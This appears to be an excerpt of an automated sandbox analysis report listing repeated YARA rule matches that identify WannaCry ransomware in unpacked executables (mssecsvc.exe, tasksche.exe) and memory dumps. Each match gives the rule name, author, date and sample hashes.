          Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 22.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 22.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 22.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 22.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 22.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 22.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000016.00000000.532937600.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000006.00000000.460451882.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 0000000A.00000000.464940003.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000004.00000002.773404878.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000006.00000000.455126478.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 0000000A.00000002.567404707.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
